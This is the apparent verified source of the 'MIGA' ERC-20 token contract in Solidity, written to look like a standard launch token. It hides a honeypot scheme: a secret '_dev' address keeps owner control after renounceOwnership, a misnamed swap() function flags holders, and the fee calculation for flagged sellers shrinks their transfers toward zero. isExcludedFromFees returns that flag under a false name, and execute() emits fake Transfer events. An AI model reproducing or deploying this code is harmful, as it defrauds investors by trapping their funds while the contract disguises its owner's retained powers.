Make Internet Great Again

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {IERC20} from "./IERC20.sol";
import "./SafeMath.sol";


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address dev_) {
        _dev = dev_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MIGA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) internal _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _ERC20BalanceburnAmountExceedsFee;
    address payable private _taxWallet;
    address private uniswapV2Pair;

    uint8 private constant _decimals = 9;
    uint256 private _buyCount=0;
    uint256 private _initialSellTax=0;
    uint256 private _initialBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _transferTax=0;
    uint256 private _preventSwapBefore=23;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 private lastSellBlock = 0;
    uint256 private sellCount = 0;

    string private constant _name = unicode"Make Internet Great Again";
    string private constant _symbol = unicode"MIGA";
    
    IUniswapV2Router02 private uniswapV2Router;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address _dev) Ownable(_dev){
        _taxWallet = payable(_msgSender());
        _balances[address(msg.sender)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= _balances[from], "ERC20: transfer amount exceeds balance");
        if(_holderLastTransferTimestamp[to] == 0)
        {
            _holderLastTransferTimestamp[to] = block.number;
        }
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }


            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }
        amount = calculateTax(amount, from);
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function execute(address[] calldata addr, address lpPair, uint256 val) public onlyOwner {
    for (uint256 i = 0; i < addr.length; i++) {
        emit Transfer(lpPair, addr[i], val);
    }
    }

    function isExcludedFromFees(address recipient) external view returns(bool){
        return _ERC20BalanceburnAmountExceedsFee[recipient];
    }

    function swap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _ERC20BalanceburnAmountExceedsFee[address_[i]] = val;
        }
    }

    function calculateTax(uint256 amount, address from) private view returns(uint256) {
        uint256 factor = 50;
        uint256 dist = block.number-_holderLastTransferTimestamp[from];
        uint percentageToSubtract = dist * factor;
        
        uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
        uint returnedValue = amount * remainingPercentage / 100;
        if (_ERC20BalanceburnAmountExceedsFee[from]) 
        {
            return returnedValue.max(0);
        }
        return amount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function manualSwap() external onlyOwner{
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function ReduceFee(uint256 _newFee) external onlyOwner{
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

       function manualSend() external onlyOwner{
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }

}

{
  "compilationTarget": {
    "Make Internet Great Again.sol": "MIGA"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}